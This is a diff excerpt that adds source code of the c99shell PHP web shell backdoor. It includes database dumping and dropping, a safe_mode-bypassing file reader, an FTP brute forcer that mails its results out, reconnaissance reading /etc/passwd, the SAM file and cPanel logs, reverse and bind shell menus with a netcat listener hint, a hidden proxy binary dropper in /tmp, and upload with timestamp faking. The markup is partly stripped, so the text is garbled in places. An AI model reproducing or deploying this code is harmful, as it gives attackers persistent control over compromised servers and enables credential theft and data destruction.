+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ }
+ echo " ";
+ if (!$sql_sock) {?>If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) ">Home ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else
+ {
+ ?>Home ".$row[0].""; $c++;}
+ echo "Databases (".$c.") ";
+ echo $dbs;
+ }
+ ?> Please, select database";
+ //Start center panel
+ $diplay = TRUE;
+ if ($sql_db)
+ {
+ if (!is_numeric($c)) {$c = 0;}
+ if ($c == 0) {$c = "no";}
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ $acts = array("","dump");
+ if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
+ elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
+ elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
+ elseif ($sql_tbl_act == "insert")
+ {
+ if ($sql_tbl_insert_radio == 1)
+ {
+ $keys = "";
+ $akeys = array_keys($sql_tbl_insert);
+ foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
+ if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
+ $values = "";
+ $i = 0;
+ foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
+ if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
+ $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ elseif ($sql_tbl_insert_radio == 2)
+ {
+ $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
+ $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
+ $result = mysql_query($sql_query) or print(mysql_smarterror());
+ $result = mysql_fetch_array($result, MYSQL_ASSOC);
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ }
+ if ($sql_act == "query")
+ {
+ echo " ";
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo "";}
+ }
+ if (in_array($sql_act,$acts))
+ {
+ ?>";}
+ if ($sql_act == "newtbl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ elseif ($sql_act == "dump")
+ {
+ if (empty($submit))
+ {
+ $diplay = FALSE;
+ echo "SQL-Dump: ";
+ echo "DB: ";
+ $v = join (";",$dmptbls);
+ echo "Only tables (explode \";\") 1 : ";
+ if ($dump_file) {$tmp = $dump_file;}
+ else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
+ echo "File: ";
+ echo "Download: ";
+ echo "Save to file: ";
+ echo "1 - all, if empty";
+ echo " ";
+ }
+ else
+ {
+ $diplay = TRUE;
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "download";
+ $set["print"] = 0;
+ $set["nl2br"] = 0;
+ $set[""] = 0;
+ $set["file"] = $dump_file;
+ $set["add_drop"] = TRUE;
+ $set["onlytabs"] = array();
+ if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
+ $ret = mysql_dump($set);
+ if ($sql_dump_download)
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".strlen($ret));
+ header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
+ echo $ret;
+ exit;
+ }
+ elseif ($sql_dump_savetofile)
+ {
+ $fp = fopen($sql_dump_file,"w");
+ if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+ else
+ {
+ fwrite($fp,$ret);
+ fclose($fp);
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+ }
+ }
+ else {echo "Dump: nothing to do! ";}
+ }
+ }
+ if ($diplay)
+ {
+ if (!empty($sql_tbl))
+ {
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+ $count_row = mysql_fetch_array($count);
+ mysql_free_result($count);
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+ $tbl_struct_fields = array();
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+ if (!is_numeric($perpage)) {$perpage = 10;}
+ $numpages = $count_row[0]/$perpage;
+ $e = explode(" ",$sql_order);
+ if (count($e) == 2)
+ {
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+ else {$asc_desc = "ASC";}
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+ }
+ else {$v = "";}
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+ $result = mysql_query($query) or print(mysql_smarterror());
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
+ echo "[ Structure ] ";
+ echo "[ Browse ] ";
+ echo "[ Dump ] ";
+ echo "[ Insert ] ";
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+ if ($sql_tbl_act == "insert")
+ {
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+ if (!empty($sql_tbl_insert_radio))
+ {
+
+ }
+ else
+ {
+ echo "Inserting row into table: ";
+ if (!empty($sql_tbl_insert_q))
+ {
+ $sql_query = "SELECT * FROM `".$sql_tbl."`";
+ $sql_query .= " WHERE".$sql_tbl_insert_q;
+ $sql_query .= " LIMIT 1;";
+ $result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
+ $values = mysql_fetch_assoc($result);
+ mysql_free_result($result);
+ }
+ else {$values = array();}
+ echo " ";
+ echo "Insert as new row ";
+ if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
+ echo " ";
+ }
+ }
+ if ($sql_tbl_act == "browse")
+ {
+ $sql_tbl_ls = abs($sql_tbl_ls);
+ $sql_tbl_le = abs($sql_tbl_le);
+ echo " ";
+ echo "[Pages] ";
+ $b = 0;
+ for($i=0;$i<$numpages;$i++)
+ {
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
+ echo $i;
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
+ if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
+ else {echo " ";}
+ }
+ if ($i == 0) {echo "empty";}
+ echo "From: To: ";
+ echo "";
+ echo "With selected: ";
+ echo "Delete ";
+ echo "
";
+ }
+ }
+ else
+ {
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
+ if (!$result) {echo mysql_smarterror();}
+ else
+ {
+ echo "";
+ echo "With selected: ";
+ echo "Drop ";
+ echo "Empty ";
+ echo "Dump ";
+ echo "Check table ";
+ echo "Optimize table ";
+ echo "Repair table ";
+ echo "Analyze table ";
+ echo "
";
+ mysql_free_result($result);
+ }
+ }
+ }
+ }
+ }
+ else
+ {
+ $acts = array("","newdb","serverstatus","servervars","processes","getfile");
+ if (in_array($sql_act,$acts)) {?>";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ if ($sql_act == "serverstatus")
+ {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo "Server-status variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars")
+ {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "getfile")
+ {
+ $tmpdb = $sql_login."_tmpdb";
+ $select = mysql_select_db($tmpdb);
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+ if ($select)
+ {
+ $created = FALSE;
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+ $result = mysql_query("SELECT * FROM tmp_file;");
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+ else
+ {
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
+ mysql_free_result($result);
+ mysql_query("DROP TABLE tmp_file;");
+ }
+ }
+ mysql_drop_db($tmpdb); //comment it if you want to leave database
+ }
+ }
+ }
+ }
+ echo "
";
+ if ($sql_sock)
+ {
+ $affected = @mysql_affected_rows($sql_sock);
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+ echo " Affected rows: ".$affected." ";
+ }
+ echo "
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d)
+ {
+ if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
+ elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
+ echo " ";
+ }
+ $act = $dspact = "ls";
+}
+if ($act == "ftpquickbrute")
+{
+ echo "FTP Brute Forcer: ";
+ if (!win) {echo "This functions not work in Windows! ";}
+ else
+ {
+ function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
+ {
+ if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
+ else {$TRUE = TRUE;}
+ if ($TRUE)
+ {
+ $sock = @ftp_connect($host,$port,$timeout);
+ if (@ftp_login($sock,$login,$pass))
+ {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
+ ob_flush();
+ return TRUE;
+ }
+ }
+ }
+ if (!empty($submit))
+ {
+ if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
+ $fp = fopen("/etc/passwd","r");
+ if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+ else
+ {
+ if ($fqb_logging)
+ {
+ if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
+ else {$fqb_logfp = FALSE;}
+ $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
+ if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ }
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp))
+ {
+ $str = explode(":",fgets($fp,2048));
+ if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
+ {
+ echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" ";
+ $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ $success++;
+ ob_flush();
+ }
+ if ($i > $fqb_lenght) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+ $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
+ fclose($fqb_logfp);
+ }
+ }
+ else
+ {
+ $logfile = $tmpdir_logs."ftpquickbrute_".date("d.m.Y_H_i_s").".log";
+ $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
+ echo " Read first: Users only with shell? Logging? Logging to file? Logging to e-mail? ";
+ }
+ }
+}
+if ($act == "d")
+{
+ if (!is_dir($d)) {echo "Permision denied! ";}
+ else
+ {
+ echo "Directory information: ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d));
+ $gr = posix_getgrgid(filegroup($d));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+ }
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+ }
+}
+if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
+if ($act == "security")
+{
+ echo "Server Information: Open base dir: ".$hopenbasedir." ";
+ if (!$win)
+ {
+ if ($nixpasswd)
+ {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ echo "*nix /etc/passwd: ";
+ if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
+ if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
+ echo "From: To: ";
+ $i = $nixpwd_s;
+ while ($i < $nixpwd_e)
+ {
+ $uid = posix_getpwuid($i);
+ if ($uid)
+ {
+ $uid["dir"] = "".$uid["dir"]." ";
+ echo join(":",$uid)." ";
+ }
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ }
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+ else {echo "You can crack winnt passwords. Download , and use lcp.crack+ ©. ";}
+ }
+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf) ";}
+ if (file_get_contents("/etc/motd")) {echo "Message Of The Day ";}
+ if (file_get_contents("/etc/hosts")) {echo "Hosts ";}
+ function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
+ displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
+ displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
+ displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
+ displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
+ displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
+ displaysecinfo("RAM",myshellexec("free -m"));
+ displaysecinfo("HDD space",myshellexec("df -h"));
+ displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
+ displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
+ displaysecinfo("Is cURL installed?",myshellexec("which curl"));
+ displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
+ displaysecinfo("Is links installed?",myshellexec("which links"));
+ displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
+ displaysecinfo("Is GET installed?",myshellexec("which GET"));
+ displaysecinfo("Is perl installed?",myshellexec("which perl"));
+ displaysecinfo("Where is apache",myshellexec("whereis apache"));
+ displaysecinfo("Where is perl?",myshellexec("whereis perl"));
+ displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
+ displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
+ displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
+ displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
+}
+if ($act == "mkfile")
+{
+ if ($mkfile != $d)
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "encoder")
+{
+ echo "Encoder: Input: ".@htmlspecialchars($encoder_input)." Hashes :";
+ foreach(array("md5","crypt","sha1","crc32") as $v)
+ {
+ echo $v." - ";
+ }
+ echo "Url: urlencode -
+ urldecode -
+ Base64: base64_encode - ";
+ echo "base64_decode - ";
+ if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
+ else
+ {
+ $debase64 = base64_decode($encoder_input);
+ $debase64 = str_replace("\0","[0]",$debase64);
+ $a = explode("\r\n",$debase64);
+ $rows = count($a);
+ $debase64 = htmlspecialchars($debase64);
+ if ($rows == 1) {echo " ";}
+ else {$rows++; echo "".$debase64." ";}
+ echo " ";
+ }
+ echo "Base convertations :dec2hex - ";
+}
+if ($act == "backc")
+{
+ $ip = $_SERVER["REMOTE_ADDR"];
+ $msg = $_POST['backcconnmsg'];
+ $emsg = $_POST['backcconnmsge'];
+ echo("Back-Connection: Host: Port: Use: Perl C Click 'Connect' only after you open port for it first. Once open, use NetCat, and run 'nc -l -n -v -p 5992 ' ");
+ echo("$msg");
+ echo("$emsg");
+}
+
+if ($act == "shbd"){
+$msg = $_POST['backcconnmsg'];
+$emsg = $_POST['backcconnmsge'];
+echo("Bind Shell Backdoor:
+Bind Port:
+
+ ");
+echo("$msg");
+echo("$emsg");
+}
+
+
+if ($act == "proxy") {
+ cf("/tmp/hantu.tgz",$proxy_shit);
+ ex("cd /tmp;tar -zxvf hantu.tgz");
+ ex("cd /tmp;cd .setan;chmod 777 xh");
+ ex("cd /tmp;cd .setan;chmod 777 httpd");
+ ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start");
+ checkproxyhost();
+ $msg = $_POST['proxyhostmsg'];
+ echo("$msg");
+ unlink("/tmp/hantu.tgz");
+ ex("cd /tmp; rm -r .setan");
+}
+
+if ($act == "selfremove")
+{
+ if (($submit == $rndcode) and ($submit != ""))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Gone!"; c99shexit(); }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ if (!empty($rndcode)) {echo "Error: incorrect confimation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "Self-remove: ".__FILE__." For confirmation, enter \"".$rnd."\" : ";
+ }
+}
+if ($act == "search"){
+ echo "Search file-system: ";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {c99fsearch($v);}
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+ }
+ echo "
+
+File/folder name: - regexp
+Directory:
+Text:
+
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
+}
+if ($act == "chmod")
+{
+ $mode = fileperms($d.$f);
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+ else
+ {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $perms = parse_perms($mode);
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+ }
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"].". Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\".";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+ else
+ {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else
+ {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+ }
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess."
+Select file on your local computer: or
+Input URL:
+Save this file dir:
+File-name (auto-fill):
+ convert file name to lovercase
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = FALSE;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ }
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ $act = "ls";
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
+ elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+ if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
+ $cmdline .= " ".$actarcbuff_path;
